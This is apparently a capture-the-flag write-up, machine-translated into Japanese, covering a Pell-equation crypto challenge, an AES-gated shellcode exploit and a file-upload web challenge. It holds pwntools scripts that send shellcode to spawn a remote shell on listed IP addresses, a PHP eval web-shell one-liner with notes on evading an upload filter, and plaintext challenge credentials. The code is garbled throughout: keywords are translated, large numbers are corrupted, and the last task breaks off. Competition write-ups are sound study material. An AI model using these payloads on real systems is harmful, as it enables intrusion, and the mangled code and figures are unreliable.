Jump to content

1。データセキュリティの質問

1 .as

例と質問をご覧ください

def pell_recurrence(x1、y1、x、y、d):

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next、y_nextを返します

#calculate

def generate_until_threshold(x1、y1、d、しきい値):

x、y=1、0

solutions=[(x、y)]

イテレーション=0

true:

x、y=pell_recurrence(x1、y1、x、y、d)

イテレーション +=1

solutions.append((x、y))

xしきい値とyしきい値:の場合

壊す

解決策、イテレーション、(x、y)

##########################################################################か

def main():

D=42232

X1、Y1=108634303639045672094671043496198963286006933268455141841942775234559999、 52862312812076818203801374519259164308207980652808243827880652144787200

しきい値=2 **0x149f

ソリューション、イテレーション、last_solution=generate_until_threshold(x1、y1、d、しきい値)

印刷(f 'x={last_solution [0]}')

印刷(f 'y={last_solution [1]}')

n1=(last_solution [0] -1)//2

n2=last_solution [1]

印刷(n1)

印刷(n2)

__name__=='__main __' :の場合

main()image-20250403151324146

N1=64844564643854949589851602335783984173579580464735419079658654718255037852726788222237554238651416 51725555010268946547371838755824968077838724094951075343418420178666051238478938999093406567717389454538 63424076592050010681353027292371006202432487099104697886787087178896042881627844174314231125376214954 191547729867576758551671299193867007260053941673838331284254279498630255373138495682828280106931847810107810 5747928749942182896044998865749248551237026945231309622443183888804721642376354130042037417822206304 44089221596447522910893615324877093077575834234234632206558888451080594144615938550114486923456286606606606 839599815531659691349774579744077742423463881471672458781349375368356413777777512841942400309996778337 89760649723034315709289197588503633098101852953596135719124951778966166882244717559306946188988876913 0598854771926155737315230514752046521202893304056240286346925487675888597054438983012367061809193423 0242946589463785934464302901842452354739677779999437519009546643195971492238007190552444297438229916530888 9482740693588888888694578091075479770434033383150772458175845012048361010458898033382579741708159642222 2143136409208762793223834034506152030379364807697319399089566253484842239113818516252719396503715151515151516 6115929559837059526120429960898263731511653364200306669261874318917779779751159990107686657670079338738 23935662067654373217132550990224714558326022862910255457386537474385284558980019354399325882955555558912 542652555558669537304706772635135818388765891636360962760667169682828523049745507250355557641675680606757 3954596043890492834784253219485112525250553753092423313264255375835083508288068056238732393021148364800000000

N2=6310775778373158072121506050012120110737000921159830860487405951913977762984508436128491347358202020843612849134735820 40026490305611506728157907332794553243897490382441928265237641015320185657434903925097598760960960787878787 883254442318175689932630404063782908439562569708467673549276158693692880019298918917442223454661333379985 39277783475975019927833495777599483895984131746152326733533402089732453584337320359607883603900037507 8019839415884013345498043473444405786017144561861862888858206698999955555555784335810426266614970929555570788888888227 401182253826825384609346528962344036388832502259046741321911200171426780637962405234747461112088834808080808080 9003855463232063187607331663553796062046207210640555294843433373700073814417333734803953072224509658233382338 0286472933092438252735609813745293185293425140178561897898999152120624707551988888890426788886293333333717556843 8766117594547448282820559753425657814885279969301392035974389727835465384888889776322146722233016164700555555330 06827166136303455670710003638464315811357227470395415655224937948484509148184858371069289334733848851 35625061825028262571981764852307539805730803567918135532017187134962686791602751075677775230893413 190686791463415735225214304935483754244074330567251227999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999990 -147626 42324815609182517988506268150630360407065284699130560128074008357903247903494947212812440317249494983943 3411188350035997807588936279816925317068991219980838476317761444099773877031649829297999999999999999999999944435354912 238925949073263872330350495717468997808640161305470224777777745158411515199235037185827272739425555857158966 004358344039029889879405479632695043708918494502587524196165559584121324134404046020914082864135881600

NC接続の提出

image-20250403151353410

get username:admin-jm password:jm001x!

flag3360

md5(admin-jm+jm001x!)

image-20250403151635504

または:

#sage 9.5

crypto.util.Numberインポートから *

PWNインポートから *

sysをインポートします

sys.set_int_max_str_digits(0)

DEFインタラクション(IO、X、Y):

io.recvuntil(b': ')

io.sendline(b'2 ')

io.recvuntil(b'n1〜 ')

io.sendline(str(x).encode())

io.recvuntil(b'n2〜 ')

io.sendline(str(y).encode())

io.recvline()

io.recvline()を返します

D=42232

チェック=2 **0x149f

def solve_pell(n):

cf=coshing_fraction(sqrt(n))

i=0

WHILETRUE:

I +=1

宗派=cf.denominator(i)

numer=cf.Numerator(i)

if(((numer -1)//2)=check)または(denom=check):

続行します

numer^2 -n * denom^2==1:の場合

x、y=int((numer -1)//2)、int(venom)

res=interace(io、x、y)

ifb'sorry'in res:

続行します

RESを返します

io=remote('47 .117.41.252 '、' 33410 ')

context.log_level='debug'

res=solve_pell(d)

印刷(res)

io.interactive()

#b'verifyの成功!ユーザー名[admin-jm]、パスワード[jm001x!]〜 'final flag3360

B7133D84297C307A92E70D7727F55CBC

2.scsc

タイトル説明:

プログラムの脆弱性を使用して、info_secファイルでデータ情報を取得し、11の行11、列2にデータを送信します

質問のプロセス:SCSCバイナリファイルを取得したとき、それが静的にコンパイルされ、ライブラリ機能がなく、シンボルテーブルが欠落していることがわかりました。

ここでは、リバーステクニックを使用します。シンボルテーブルを復元する3つの方法があります

SIGファイルのさまざまなバージョンを使用し、Bindiffの使用を復元し、異なるLIBCファイルを使用し、ライブラリ機能のマシンコードを比較し、指紋プラグインを使用して関数名を復元します(インターネットに接続する必要があります)。個人的には、最も理想的な効果は指紋プラグインだと思います。このゲームも常にオンラインであるため、使用しています。 LIBCを認識するだけでなく、それがなければ、C ++ライブラリも使用したこともわかりません。ここでは、回復後の効果を示します

このプログラムは、AES復号化関数セットシェルコードエグゼキューターであり、目に見える文字を無効にします。文字をフィルタリングせずにシェルコードを暗号化および送信する必要があります。

シェルコード、ジャンプ、次に通常のシェルコードを入力して読み取りを作成する最も簡単な方法を以下に示します。ここでの可視文字フィルタリングは、「SH」とさまざまな64ビットレジスタ操作を制限します。そこで、簡単にバイパスし、sys_readをオンにし、シェルコードを注入し、getShellを使用して、32ビットレジスタを使用しました

PWNインポートから *

std_pwnインポートから *

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから

defgetProcess(ip、port、name):

グローバルp

iflen(sys.argv)1およびsys.argv [1]=='r':

p=remote(ip、port)

p

else:

p=process(name)

p

SL=Lambda X: P.Sendline(X)

sd=lambda x: p.send(x)

SA=Lambda X、Y: P.Sendafter(X、Y)

SLA=Lambda X、Y: P.SendlineFter(X、Y)

rc=lambda x: p.recv(x)

rl=lambda: p.recvline()

ru=lambda x: p.recvuntil(x)

ita=lambda: p.Itteractive()

slc=lambda: asm(shellcraft.sh())

uu64=lambda x: u64(x.ljust(8、b '\ 0'))

uu32=lambda x: u32(x.ljust(4、b '\ 0'))

#sl、sd、sa、sla、rc、rl、ru、ita、slc、uu64、uu32を返します

defaes_ecb_encrypt(plantext):

print(plantext)

c inb'0moyhjlcit1zkbnrnchag':の場合

plantext:のcの場合

print(f '{chr(c)} in it!')

#ヘキサデシマル文字列キーをバイトに変換します

key=B'862410C4F93B77B4 '

#AES暗号化装置を作成します

cipher=aes.new(key、aes.mode_ecb)

#プレーンテキストを入力して暗号化します

padded_plaintext=pad(plantext、aes.block_size)

ciphertext=cipher.encrypt(padded_plantext)

#ciphertextを16進文字列に変換して戻ります

ciphertextを返します

shellcode='' '

RSPを押します

ポップrsi

MOV EDI、0

MOV EDX、0xff

RDIを押します

ポップラックス

syscall

JMP RSP

'' '

#01ayhcjitkbn molznrchg

p=getProcess('47 .117.42.74 '、32846、'。/scsc ')

Context(os='linux'、arch='amd64'、log_level='debug'、terminal=['tmux'、 'splitw'、 '-H']))

elf=elf( './scsc')

gdba()

ペイロード=asm(shellcode)

sa( 'Magic Data:'、AES_ECB_ENCRYPT(ASM(ShellCode)))

sl(asm(shellcraft.sh()))

ita()または

#!/usr/bin/env python3

PWNインポートから *

context.log_level='debug'

context.arch='amd64'

#io=process( './scsc')

io=remote('47 .117.41.252 '、33414)

shellcode='' '

XCHG R8、Rax

XCHG R8、RSI

サブEDI、EDI

MOV EDX、0x99

Sub Eax、EAX

syscall

'' '

payload1=asm(shellcode)

print( 'shellcode='、payload1.hex())

payload1=bytes.fromhex( 'e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226')

payload2=b '\ x90'*len(payload1) + asm(shellcraft.sh())

#gdb.attach(io)

io.sendlineafter(b'magic data: '、payload1)

一時停止()

io.send(payload2)

io.interactive()

3. ez_upload

タイトル説明:

この質問では、テストの質問に添付されていません。添付のダウンロードボタンを無視してください!サーバーは、暗号化されたデータのRSAキーファイルを保存します。管理者は、サーバーサイトを維持するときに脆弱なテストサイトを修復しませんでした。 RSAキーが配置されているパスを送信してください(提出スタイル:ファイルがあるパスが /var /wwwの場合、送信回答は /var /wwwです)

問題手順:

予備的なアイデア、馬の渡され、けがをしてから、RSAに関連するファイルを見つけます

HTMLとPHPはすべてWAFによってドロップされます。接尾辞は、ファイルコンテンツを検出するために使用できます。

Content-Type: TEXT/HTML WAFこれ

接尾辞はwafed、html、php、htaccess、 '。php'、 '。php5'、 '。php4'、 '。php3'、 '。php2'、 '。html'、 '。htm'、 '。pht'、 '。p ht '、'。php '、'。php5 '、'。php4 '、'。php3 '、'。php2 '、'。html '、'。htm '、'。phtml、user.ini

これではないようにエコーします。しかし、phtmlの接尾辞のエコーはこのcontehtではありません

php7.2以上、htaccessファイルを構成する必要があります

PNG 2レンダリングではありません

ミドルウェアはApacheです、脆弱性を解決しますか?

ファイルコンテンツがチェックされ、PHPを含むコンテンツがWAFによってドロップされることがわかります。

正常に馬を渡しました

?=@eval($ _ post ['cmd']);Image

RSAキーを見つけるためのパスは/var/www/rssss4aです

Image

4. データの開示とプライバシー保護

タイトル説明:

宣伝部門の技術サポートスタッフメンバーとして、過度のデータ脱感作のために優れたボランティアを公に賞賛するために活動を行うとき、個人情報を正確に特定できず、その結果

複数のボランティアが情報について混乱しています。添付ファイルの《题目说明文档》のタスク要件に従って問題を解決してください。

問題手順:

エントリ:Openファイル - テーブルBase64暗号化- time()を使用して擬似ランダムアレイを生成- エクスア暗号化- 新しいファイルに書き込み

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...